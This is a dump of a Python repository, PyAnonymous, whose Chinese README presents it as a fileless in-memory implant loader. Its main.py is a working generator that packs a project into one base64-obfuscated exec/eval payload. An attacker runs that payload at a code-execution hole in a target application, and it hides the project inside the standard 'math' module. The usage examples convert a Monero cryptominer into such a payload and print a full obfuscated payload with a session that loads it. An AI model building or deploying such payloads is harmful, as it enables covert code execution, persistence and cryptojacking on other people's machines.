├── README.md
├── __pycache__
├── main.cpython-37.pyc
└── test.cpython-37.pyc
├── bugctf.png
├── main.py
├── 使用例子
├── XMR转换.md
├── XMR转换.py
├── 示例test.md
└── 示例test.py
├── 图片
├── SSH命令执行2.png
├── pic1.png
└── pic2.png
└── 测试项目
├── ReadableCryptoMiner
├── .gitignore
├── Cryptonight.py
├── Job.py
├── JsonRpc2Client.py
├── LICENSE
├── Miner.py
├── README.md
├── Utils.py
├── crypto_primitives
│ ├── __init__.py
│ ├── block_ciphers.py
│ ├── hash_functions.py
│ └── slow_hash_lgplv3.py
├── defs.py
└── ggminer.py
├── test
├── __pycache__
│ ├── test2.cpython-37.pyc
│ ├── test3.cpython-37.pyc
│ ├── test7.cpython-37.pyc
│ ├── test8.cpython-37.pyc
│ ├── test_main.cpython-37.pyc
│ └── testpure.cpython-37.pyc
├── test12
│ ├── __pycache__
│ │ ├── test4.cpython-37.pyc
│ │ └── test6.cpython-37.pyc
│ ├── test121
│ │ ├── __pycache__
│ │ │ └── test1211.cpython-37.pyc
│ │ └── test1211.py
│ ├── test4.py
│ └── test6.py
├── test2.py
├── test3.py
├── test34
│ ├── __init__.py
│ ├── __pycache__
│ │ ├── __init__.cpython-37.pyc
│ │ ├── test341.cpython-37.pyc
│ │ └── test342.cpython-37.pyc
│ ├── test341.py
│ ├── test342.py
│ └── test9
│ │ ├── __init__.py
│ │ └── __pycache__
│ │ └── __init__.cpython-37.pyc
├── test7.py
├── test8.py
├── test_main.py
└── testpure.py
└── weblogic-scan-master
├── .gitignore
├── 1.png
├── README.md
├── dict
├── CVE-2018-2628-data.txt
├── CVE-2018-2628-evildata.txt
└── weakpass.txt
├── lib
├── __init__.py
├── display.py
├── prepare.py
└── vuln.py
├── weblogic-scan.gif
└── weblogic_scan.py
/README.md:
--------------------------------------------------------------------------------
1 | ### [繁體中文](README_en.md)
2 |
3 |

4 | PyAnonymous: 基于Python3的无落地项目加载解决方案
5 |
6 | PyAnonymous(Py匿名)是一个基于Python3的无落地内存马加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式.
7 |
8 | 📕PyAnonymous的原理是:使用反射等手段将用户的Py项目注入到其他计算机的默认的官方库(如: math、socket)中,并在该官方库下预留项目入口,使得用户的Py项目在其他计算机的内存中持久化并方便调用
9 |
10 | 👊PyAnonymous相比于其他项目的优点在于:
11 | 1. PyAnonymous将会自动处理简单的依赖,会将依赖和主文件一起打包至表达式中.
12 | 2. PyAnonymous倡导全程无落地,在加载时无需任何文件落地.
13 | 3. PyAnonymous为项目入口文件提供预留攻击者接口,将入口文件以模块的形式注入进默认math库中,方便攻击者调用
14 |
15 | 在PyAnonymous生成表达式后,当攻击者发现目标Python应用的代码执行点,可以在目标服务代码执行点(如exec、eval)执行该行表达式,将会自动将该项目加载进目标内存并可通过预设的math手动调用
16 |
17 | 
18 |
19 | 💡对于绝大部分项目,都可以一键将其转化为Payload. 对于全部应用(Web应用、框架)的代码执行处,都可以一键向内存中写入项目并运行
20 |
21 | 
22 |
23 | ### [点这里查看如何将示例项目转换](使用例子/示例test.md)
24 |
25 | ### [点这里查看如何将一个XMR挖矿项目转换](使用例子/XMR转换.md)
26 |
27 |
28 | 🦙这是我自己的一个练手项目,希望师傅们多多包涵. 各位师傅可以提issue反馈问题
29 |
30 | 由leeya_bug开发
31 |
32 | # 安装
33 |
34 | 下载并进入PyAnonymous:
35 | ```vb
36 | git clone https://github.com/Leeyangee/PyAnonymous
37 | cd PyAnonymous
38 | ```
39 |
40 | # 快速开始
41 |
42 | 1. 以默认命名空间生成test项目的Payload
43 |
44 |
45 |
46 | ```vb
47 | python main.py -e './测试项目/test/test_main.py'
48 | ```
49 |
50 | 在其他计算机运行Payload后,项目入口文件 test_main.py 作为模块被注入至 math 模块中即: math.test_main,以下代码调用注入到内存的test项目入口中的函数
51 |
52 | ```py
53 | import math
54 | math.test_main.main()
55 | ```
56 |
57 | 2. 以默认命名空间生成ReadableCryptoMiner项目的Payload
58 |
59 | ```vb
60 | python main.py -e './测试项目/ReadableCryptoMiner/ggminer.py'
61 | ```
62 |
63 | 在其他计算机运行Payload后,项目入口文件 ggminer.py 作为模块被注入至 math 模块中即: math.ggminer,以下代码调用注入到内存的ReadableCryptoMiner项目入口中的函数
64 |
65 | ```py
66 | import math
67 | math.ggminer.main()
68 | ```
69 |
70 | 在默认情况下,项目将会被加载至 math.<入口文件名称>中,您可以使用以下代码调用加载至内存中的项目
71 | ```py
72 | import math
73 | math.<入口文件名>.<文件中的函数>()
74 | ```
75 |
76 |
77 |
78 | ### [点这里查看如何将示例项目转换](使用例子/示例test.md)
79 |
80 |
81 | # 注意事项
82 |
83 | 1. ⚠在您的项目中引入模块时,如果您是手动引入模块(如下列代码所示)
84 | ```py
85 | __import__('test_mod').get()
86 | ```
87 | 请在该文件前添加格式为#dep <模块名> 的注释使得PyAnonymous在打包时能将该依赖一同打包,如下所示
88 | ```py
89 | #dep test_mod
90 |
91 | __import__('test_mod').get()
92 | ```
93 |
94 | 2. ❌当前版本暂时不支持相对路径引入(正在努力适配中)
95 | ```py
96 | from .display import dis #不支持相对路径导入,请更改为绝对路径导入
97 | ```
98 |
99 | 3. ⚠PyAnonymous生成的Payload跨平台
100 |
101 | 4. ⚠一般来说,在test项目中支持的导入方式,正式环境中都完美支持
102 |
103 | # 鸣谢
104 |
105 | 在开发的过程中,少不了以下开源/开放代码的支持
106 |
107 | * 作为测试项目被引入: https://github.com/wkta/ReadableCryptoMiner
108 |
109 | * 作为测试项目被引入: https://github.com/kingkaki/weblogic-scan
110 |
111 | 
--------------------------------------------------------------------------------
/__pycache__/main.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/__pycache__/main.cpython-37.pyc
--------------------------------------------------------------------------------
/__pycache__/test.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/__pycache__/test.cpython-37.pyc
--------------------------------------------------------------------------------
/bugctf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/bugctf.png
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | #by leeya_bug
2 |
3 | DEP_SIGN = '#dep '
4 |
5 | import os
6 | import sys
7 | import base64
8 | from typing import Tuple
9 | from typing import List
10 | from typing import Dict
11 | import types
12 | import importlib
13 | from pathlib import Path
14 | import re
15 | import argparse
16 | import chardet
17 | import imp
18 |
19 | class logger:
20 |
21 | class PrintDep(object):
22 | '''
23 | 打印日志并在with 的代码块中依赖缩进
24 | '''
25 | def __init__(self, text: str) -> None:
26 | global prev
27 | print(prev + text)
28 |
29 | def __enter__(self) -> None:
30 | global prev
31 | prev += ' '
32 |
33 | def __exit__(self, exc_type, exc_val, exc_tb) -> None:
34 | global prev
35 | prev = prev[2:]
36 |
37 | prev = ''
38 |
39 | class Serialize(object):
40 |
41 | class EnvAdd(object):
42 | '''
43 | 添加依赖的环境变量路径,必须以with EnvAdd(path)调用
44 | '''
45 | def __init__(self, path: str) -> None:
46 | self.path = path
47 |
48 | def __enter__(self) -> None:
49 | sys.path = [self.path] + sys.path
50 |
51 | def __exit__(self, exc_type, exc_val, exc_tb) -> None:
52 | sys.path = sys.path[1:]
53 |
54 | def depMerge(self, main: dict, branch: dict) -> None:
55 | '''
56 | 依赖链合并,将分支依赖链 branch 合并进主依赖链 main 中
57 | '''
58 | if branch == {}:
59 | return
60 | for branch_key in branch.keys():
61 | if branch_key in main:
62 | self.depMerge(main[branch_key][1], branch[branch_key][1])
63 | else:
64 | main[branch_key] = branch[branch_key]
65 |
66 | class DirSerialize(Serialize):
67 |
68 | def __init__(self, path: str, import1: list = []) -> None:
69 | # 'self.dirname' 保存当前模块所在位置
70 | self.path: str = path
71 | self.depChain = dict()
72 | self.__init__Code_List: List[str] = ['']
73 | self.import1: list = import1
74 |
75 | self.depMerge(self.depChain, self.analyzeMultiDependence(path))
76 |
77 | def analyzeMultiDependence(self, path):
78 | '''
79 | 查找path目录下的module,并将module加载到该namespace中
80 | '''
81 | depChain = dict()
82 | if True:
83 | for file in os.listdir(path):
84 | file: str
85 | if True:
86 | if file.endswith('.py'):
87 | pkg_name: str = path_to_pkgname(file)
88 | else:
89 | pkg_name: str = file
90 | #是 from ... import ... 引入的包或者包名为 __init__ 时
91 | if pkg_name in self.import1 or pkg_name == '__init__' or self.import1 == '*':
92 | #with logger.PrintDep(f'正在分析namespace中包: ' + pkg_name):
93 |
94 | fp, pathname, desc = imp.find_module(pkg_name, [path])
95 | curDependence = imp.load_module(pkg_name, fp, pathname, desc)
96 | if False:
97 | with self.EnvAdd(path):
98 | curDependence: types.ModuleType = importlib.import_module(pkg_name)
99 | #print(sys.path)
100 | #print(curDependence.__file__)
101 | if hasattr(curDependence, '__file__'):
102 | #若该依赖为namespace
103 | if hasattr(curDependence, '__path__'):
104 | with logger.PrintDep(f'包: {pkg_name} 为namespace'):
105 | depChain[pkg_name] = DirSerialize(list(curDependence.__path__)[0]).getRes()
106 | #若该依赖为module
107 | else:
108 | with logger.PrintDep(f'包: {pkg_name} 为module'):
109 | if pkg_name == '__init__':
110 | res1 = DocSerialize(curDependence.__file__).getRes()
111 | self.__init__Code_List = res1[0]
112 | self.depMerge(depChain, res1[1])
113 | else:
114 | depChain[pkg_name] = DocSerialize(curDependence.__file__ ).getRes()
115 | return depChain
116 |
117 | def getRes(self) -> list:
118 | '''
119 | 最后返回一个经编码序列化后的依赖链
120 |
121 | 一个依赖链包含以下两个部分: module源代码 module的依赖
122 | '''
123 | return [ self.__init__Code_List, self.depChain ]
124 |
125 |
126 | class DocSerialize(Serialize):
127 |
128 | class DocClass(object):
129 | '''
130 | 文件处理类
131 | '''
132 | def __init__(self, path: str) -> None:
133 | self.path: str = path
134 | self.fromImport: Dict[str, List[str]] = {}
135 |
136 | self.analyzeDependence(self.path)
137 | self.analyzeCode(self.path)
138 |
139 | def addFromImport(self, from1: str, import1: str) -> None:
140 | if from1 not in self.fromImport:
141 | self.fromImport[from1] = []
142 | self.fromImport[from1].append(import1)
143 |
144 | def getFromImport(self, from1: str) -> list:
145 | if from1 not in self.fromImport:
146 | self.fromImport[from1] = []
147 | return self.fromImport[from1]
148 |
149 | def analyzeDependence(self, path: str) -> None:
150 | '''
151 | 静态分析路径path的py文件包含哪些依赖
152 | '''
153 | if os.path.exists(path) and os.path.isfile(path):
154 | dependence = set()
155 | with open(path, 'r', encoding='utf-8') as f:
156 | lines: list = f.readlines()
157 | for line in lines:
158 | line: str
159 | line = line.strip('\n')
160 | #分析手动添加的 #dep 依赖
161 | if line.startswith(DEP_SIGN):
162 | result = line.split(DEP_SIGN)[1].strip(' ')
163 | dependence.add(result)
164 |
165 | line = line.split('#')[0]
166 | #分析 import *** 的依赖
167 | if line.startswith('import '):
168 | #分析有as情况
169 | if ' as ' in line:
170 | result = line.split('import ')[1].split(' as ')[0].strip(' ')
171 | #分析无as情况
172 | else:
173 | result = line.split('import ')[1].strip(' ')
174 |
175 | #逗号多个引入的情况
176 | if ',' in result:
177 | dependence |= { res.strip(' ') for res in result.split(',') }
178 | else:
179 | dependence.add(result)
180 | #分析 from *** import *** 的依赖
181 | if line.startswith('from '):
182 | #分析有as情况
183 | if ' as ' in line:
184 | from1: str = line.split('from ')[1].split(' import ')[0].strip(' ')
185 | import1: str = line.split('import ')[1].split(' as ')[0].strip(' ')
186 | #分析无as情况
187 | else:
188 | from1: str = line.split('from ')[1].split(' import ')[0].strip(' ')
189 | import1: str = line.split('import ')[1].strip(' ')
190 |
191 | #逗号多个引入的情况
192 | if import1 == '*':
193 | self.addFromImport(from1, '*')
194 | elif ',' in import1:
195 | for i1 in import1.split(','): self.addFromImport(from1, i1.strip(' '))
196 | else:
197 | self.addFromImport(from1, import1)
198 | dependence.add(from1)
199 | self.dependence: set = dependence
200 | else:
201 | raise NameError(f'{path} 该文件不存在,无法读取其依赖')
202 |
203 | def analyzeCode(self, path: str) -> None:
204 | '''
205 | 读取路径path的code,并将其base64编码
206 | '''
207 | if os.path.exists(path) and os.path.isfile(path):
208 | with open(path, 'r', encoding='utf-8') as f:
209 | code = f.read()
210 | code_base64ed = base64.b64encode(code.encode()).decode()
211 | self.code = code
212 | self.code_base64ed = code_base64ed
213 | else:
214 | raise NameError(f'{path} 该文件不存在,无法读取代码内容')
215 |
216 | def getDependence(self) -> Tuple[set, Dict[str, List[str]]]:
217 | return self.dependence, self.fromImport
218 |
219 | def getCode(self) -> Tuple[str, str]:
220 | return self.code, self.code_base64ed
221 |
222 | def __init__(self, path: str) -> None:
223 | self.doc = self.DocClass(path)
224 | # 'self.dirname' 保存当前模块所在位置
225 | self.dirname = os.path.dirname(path)
226 | self.depChain: Dict[str, list] = dict()
227 |
228 | def depList(dep: str) -> list:
229 | '''
230 | 将多个依赖分割成列表
231 | '''
232 | return dep.strip('.').split('.')
233 |
234 | dependence, fromimport = self.doc.getDependence()
235 | self.fromimport: Dict[str, List[str]] = fromimport
236 |
237 | for dep in dependence:
238 | depChainBranch = self.analyzeMultiDependence(dependence = dep)
239 | self.depMerge(self.depChain, depChainBranch)
240 |
241 | def analyzeMultiDependence(self, dependence: str) -> dict:
242 | '''
243 | 分析多重依赖的函数
244 | '''
245 | pkg_name: str = dependence
246 |
247 | #with self.EnvAdd(self.dirname):
248 | if True:
249 | try:
250 | curDependence: types.ModuleType = importlib.import_module(pkg_name)
251 | except:
252 | raise NameError(f'包: {pkg_name} 引入失败,请检查其是否存在或其子依赖是否存在')
253 |
254 | #若该依赖包含__file__
255 | if hasattr(curDependence, '__file__'):
256 | dep_location = curDependence.__file__ if curDependence.__file__ != None else list(curDependence.__path__)[0]
257 | dad = Path(entry_path)
258 | son = Path(dep_location)
259 | #若该依赖在项目路径下,则非 官方依赖
260 | if dad in son.parents:
261 | #若该依赖为namespace, 下列步骤将namespace解释为module. 有__path__变量必为namespace
262 | if hasattr(curDependence, '__path__'):
263 | with logger.PrintDep(f'包: {pkg_name} 为namespace'):
264 | if pkg_name in self.fromimport:
265 | return {
266 | pkg_name: DirSerialize(list(curDependence.__path__)[0], self.fromimport[pkg_name]).getRes()
267 | }
268 | else:
269 | return {
270 | pkg_name: DirSerialize(list(curDependence.__path__)[0], []).getRes()
271 | }
272 | #若该依赖为module
273 | else:
274 | with logger.PrintDep(f'包: {pkg_name} 为module'):
275 | return {
276 | pkg_name: DocSerialize(curDependence.__file__).getRes()
277 | }
278 | #若该依赖不在项目路径下,无关库或官方依赖不处理
279 | else:
280 | logger.PrintDep(f'包: {pkg_name} 为官方库或无关库不处理')
281 | return {}
282 | #若该依赖不包含__file__,官方依赖
283 | else:
284 | logger.PrintDep(f'包: {pkg_name} 为官方库不处理')
285 | return {}
286 |
287 | def getRes(self) -> list:
288 | '''
289 | 最后返回一个经编码序列化后的依赖链
290 |
291 | 一个依赖链包含以下两个部分: module源代码 module的依赖
292 | '''
293 | return [ [self.doc.getCode()[1]], self.depChain ]
294 |
295 | class Payload(object):
296 |
297 | loaderList: list = [('''
298 | def surface_ZzRTSoDE(m, n):
299 | def deep_ZzRTSoDE(mn, c, d):
300 | a=__import__('imp').new_module(mn)
301 | while True:
302 | try:
303 | d_i = list(d.keys())
304 | #将keys列表随机排列,完美解决交叉依赖时出现错误的问题
305 | __import__('random').shuffle(d_i)
306 | for d1 in d_i:
307 | a.__dict__[d1] = deep_ZzRTSoDE(d1, d[d1][0], d[d1][1])
308 | __import__('sys').modules[d1] = a.__dict__[d1]
309 | for c1 in c:
310 | exec(__import__('base64').b64decode(c1), a.__dict__)
311 | return a
312 | except:
313 | print('引入出现顺序错误,正在打乱重新引入')
314 | for i in m:n[i]=deep_ZzRTSoDE(i, m[i][0], m[i][1])
315 | ''', 'surface_ZzRTSoDE')#普通加载器
316 | ]
317 |
318 | initerList: list = [
319 | '''str(exec(__import__('base64').b64decode('{loader_base64}').decode()))+str({loader_entry}(eval(__import__('base64').b64decode('{depChain}').decode()), {namespace}))'''
320 | ]
321 |
322 | def __init__(self, depChain: dict, namespace: str, loader: int = 0, initer: int = 0) -> None:
323 | self.depChain = depChain
324 | self.namespace = f'__import__(\'{namespace}\').__dict__'
325 |
326 | self.initer = initer
327 | self.loader = loader
328 |
329 | def getIniter(self) -> str:
330 | '''
331 | 初始化器能够将加载器、依赖链加载到内存中,并启动加载器
332 | '''
333 | return self.initerList[self.initer]
334 |
335 | def getLoader(self) -> Tuple[str, str]:
336 | '''
337 | 加载器能够将 编码序列化后的依赖链 转换为 module实例
338 | '''
339 | return (base64.b64encode(self.loaderList[self.loader][0].encode()).decode(), self.loaderList[self.loader][1])
340 |
341 | def getdepChain(self) -> str:
342 | '''
343 | 依赖链根据DocSerialize类转换而来,依赖链能被 加载器加载 后转换为 module实例
344 | '''
345 | return base64.b64encode(str(self.depChain).encode()).decode()
346 |
347 | def getRes(self) -> str:
348 | loader_base64, loader_entry = self.getLoader()
349 | return self.getIniter().format(loader_base64 = loader_base64, loader_entry = loader_entry, depChain = self.getdepChain(), namespace = self.namespace)
350 |
351 | def path_to_pkgname(path: str) -> str:
352 | '''
353 | 路径提取模块名称
354 | '''
355 | return os.path.splitext(os.path.basename(path))[0]
356 |
357 | if __name__ == '__main__':
358 | parser = argparse.ArgumentParser(
359 | description="PyAnonymous(Py匿名)是一个基于Python3的无落地加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式"
360 | )
361 | parser.add_argument("-e", "--entry", default=None, help="要加载的项目入口(默认为自带测试项目)")
362 | parser.add_argument("-n", "--namespace", default='math', help="要将项目入口加载到的命名空间(默认为 math,在不知道这是啥的情况下请勿乱更改)")
363 | parser.add_argument("-s", "--start" , action='store_true', default=False, help='是否试运行')
364 |
365 | options = parser.parse_args(sys.argv[1:])
366 |
367 | entry = options.entry
368 | namespace = options.namespace
369 | start = options.start
370 |
371 | if entry == None:
372 | print('''
373 | 警告: 您未选择要序列化的项目
374 |
375 | PyAnonymous(Py匿名)是一个基于Python3的无落地加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式
376 | 更多帮助,请查看项目地址: https://github.com/Leeyangee/PyAnonymous
377 | 可选参数:
378 |
379 | -h, --help
380 | 展示帮助界面
381 | -e ENTRY, --entry ENTRY
382 | 要加载的项目入口
383 | -n NAMESPACE, --namespace NAMESPACE
384 | 要将项目入口加载到的命名空间(默认为 math,在不知道这是啥的情况下请勿乱更改)
385 | -s, --start
386 | 是否试运行''')
387 | else:
388 | entry_name = path_to_pkgname(entry)
389 |
390 | entry_path = os.path.dirname(entry)
391 | sys.path.append(entry_path)
392 |
393 | print(f'---------------------依赖分析---------------------')
394 | depChain = DocSerialize(entry)
395 | print(depChain.getRes())
396 | depChain = { entry_name: depChain.getRes() }
397 | print(f'---------------------生成的Payload---------------------')
398 | payload = Payload(depChain = depChain, namespace = namespace)
399 | result = payload.getRes()
400 | print(result)
401 | print(f'---------------------调用命令---------------------')
402 | print(f'''import {namespace}
403 | {namespace}.{entry_name}''')
404 | if start:
405 | print(f'---------------------试运行结果---------------------')
406 | exec(result)
407 | exec(f'''
408 | import {namespace}
409 | {namespace}.{entry_name}.main()
410 | ''')
411 |
--------------------------------------------------------------------------------
/使用例子/XMR转换.md:
--------------------------------------------------------------------------------
1 |
2 | 接下来的示例,会将一个XMR挖矿项目转换为一行表达式代码,并在计算机上运行该一行表达式代码
3 |
4 | 1. 以PyAnonymous根目录下 "./测试项目/ReadableCryptoMiner" 的挖矿项目为例,以下简称为ReadableCryptoMiner
5 |
6 | 该项目的入口点为 "./测试项目/ReadableCryptoMiner/ggminer.py"
7 |
8 | 入口点的入口函数为 main
9 |
10 | 2. 输入以下指令将会启动对ReadableCryptoMiner的打包过程
11 |
12 | ```vb
13 | python .\main.py -e "./测试项目/ReadableCryptoMiner/ggminer.py"
14 | ```
15 |
16 | 输出的一行表达式代码连同调用方法,笔者已经放于 XMR转换.py 中. 供各位学习研究
17 |
18 | 笔者写入的矿池、XMR地址均为笔者本人的地址,有需要的读者可以修改 ggminer.py 第42行 ~ 第44行的参数设置
--------------------------------------------------------------------------------
/使用例子/示例test.md:
--------------------------------------------------------------------------------
1 |
2 | 接下来的示例,将会展示如何将一个Python项目转换为一行表达式代码,然后会在一台计算机上使用该一行表达式代码将入口点加载到命名空中并且手动执行
3 |
4 | 1. 测试项目位置(以下简称test项目): "./测试项目/test"
5 |
6 | 该项目的入口点为 "./测试项目/test/test_main.py"
7 |
8 | 入口点的入口函数为 main
9 |
10 | 该项目结构如下所示
11 |
12 | ```
13 | test
14 | test12
15 | test121
16 | test1211.py
17 | test4.py
18 | test6.py
19 | test34
20 | test9
21 | __init__.py
22 | __init__.py
23 | test341.py
24 | test342.py
25 | test_main.py
26 | test2.py
27 | test3.py
28 | test7.py
29 | test8.py
30 | testpure.py
31 | ```
32 |
33 | 2. 接下来的步骤将test项目打包为一行表达式代码.
34 |
35 | 首先我们了解一下main.py的参数设置:
36 | -e --entry 项目入口位置,默认为 "./测试项目/test/test_main.py"
37 | -n --namespace 项目入口加载到的命名空间,默认为 math
38 |
39 | 进入PyAnonymous项目根目录,**-e参数的值为项目入口点**,输入以下指令将会启动对test项目的打包过程
40 |
41 | ```vb
42 | python main.py -e "./测试项目/test/test_main.py"
43 | ```
44 |
45 | 接下来,程序在打包时将会出现如下依赖提示
46 |
47 | ```
48 | 包: test2 为module
49 | 包: test3 为module
50 | 包: os 为官方库不处理
51 | 包: test12 为namespace
52 | 正在分析namespace中包: test4
53 | 正在分析namespace中包: test6
54 | 包: test7 为module
55 | 包: math 为官方库不处理
56 | 包: test12 为namespace
57 | 正在分析namespace中包: test4
58 | 正在分析namespace中包: test6
59 | 包: test8 为module
60 | 包: test12 为namespace
61 | 正在分析namespace中包: test4
62 | 正在分析namespace中包: test6
63 | ```
64 |
65 | 最后,将会输出这样一行表达式代码,这是最终Payload. 到此,表示 test项目 打包成功,整个项目成功被打包成了一行表达式代码
66 |
67 | ```py
68 | str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rb0tjSEpwYm5Rb2JXRnBiaWdwS1E9PScsIHsndGVzdDInOiBbJ0kyUmxjQ0IwWlhOME13b0tabkp2YlNCMFpYTjBNVElnYVcxd2IzSjBJSFJsYzNRMkNtWnliMjBnZEdWemRERXlJR2x0Y0c5eWRDQjBaWE4wTkFvS1pHVm1JSFJsYzNReUtDazZDaUFnSUNCeVpYUjFjbTRnWDE5cGJYQnZjblJmWHlnbmRHVnpkRE1uS1M1MFpYTjBNeWdwSUNzZ1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTJZWElnS3lCMFpYTjBOaTUwWlhOME5pZ3lLU0FnS3lCMFpYTjBOQzUwWlhOME5DZ3AnLCB7J3Rlc3QzJzogWydDbVp5YjIwZ2RHVnpkRGNnYVcxd2IzSjBJSFJsYzNRM1gyTnNZWE56Q21sdGNHOXlkQ0J2Y3dwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFlLQ25aaGNpQTlJRElLQ21SbFppQjBaWE4wTXlncE9nb2dJQ0FnWWlBOUlIUmxjM1EzWDJOc1lYTnpLREVwQ2lBZ0lDQnlaWFIxY200Z01TQXJJR0l1WjJWMFVtVnpLQ2tnS3lCMFpYTjBOaTUwWlhOME5pZ3lLUT09Jywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Nyc6IFsnQ21sdGNHOXlkQ0J0WVhSb0NtbHRjRzl5ZENCMFpYTjBPQXBtY205dElIUmxjM1F4TWlCcGJYQnZjblFnZEdWemREUUtDbU5zWVhOeklIUmxjM1EzWDJOc1lYTnpLQ2s2Q2lBZ0lDQmtaV1lnWDE5cGJtbDBYMThvYzJWc1ppd2dZU2s2Q2lBZ0lDQWdJQ0FnYzJWc1ppNWhJRDBnWVFvS0lDQWdJR1JsWmlCblpYUlNaWE1vYzJWc1ppazZDaUFnSUNBZ0lDQWdjbVYwZFhKdUlITmxiR1l1WVNBcUlESWdLeUIwWlhOME9DNTBaWE4wT0NncElDc2dkR1Z6ZERRdWRHVnpkRFFvS1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDgnOiBbJ0NtUmxaaUIwWlhOME9DZ3BPZ29nSUNBZ2NtVjBkWEp1SURJdycsIHt9XX1dfV0sICd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV19XX1dfQ==').decode()), __import__("math").__dict__))
69 | ```
70 |
71 |
72 |
73 | 3. 在任意一台计算机上的任意一个能任意解析Py代码处(如python交互式shell、exec、eval等)输入最终Payload,该代码将会自动将test项目的入口test_main加载到默认命名空间 math 中
74 |
75 | ```py
76 | PS C:\> python
77 | Python 3.7.9
78 | >>> str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rb0tjSEpwYm5Rb2JXRnBiaWdwS1E9PScsIHsndGVzdDInOiBbJ0kyUmxjQ0IwWlhOME13b0tabkp2YlNCMFpYTjBNVElnYVcxd2IzSjBJSFJsYzNRMkNtWnliMjBnZEdWemRERXlJR2x0Y0c5eWRDQjBaWE4wTkFvS1pHVm1JSFJsYzNReUtDazZDaUFnSUNCeVpYUjFjbTRnWDE5cGJYQnZjblJmWHlnbmRHVnpkRE1uS1M1MFpYTjBNeWdwSUNzZ1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTJZWElnS3lCMFpYTjBOaTUwWlhOME5pZ3lLU0FnS3lCMFpYTjBOQzUwWlhOME5DZ3AnLCB7J3Rlc3QzJzogWydDbVp5YjIwZ2RHVnpkRGNnYVcxd2IzSjBJSFJsYzNRM1gyTnNZWE56Q21sdGNHOXlkQ0J2Y3dwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFlLQ25aaGNpQTlJRElLQ21SbFppQjBaWE4wTXlncE9nb2dJQ0FnWWlBOUlIUmxjM1EzWDJOc1lYTnpLREVwQ2lBZ0lDQnlaWFIxY200Z01TQXJJR0l1WjJWMFVtVnpLQ2tnS3lCMFpYTjBOaTUwWlhOME5pZ3lLUT09Jywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nS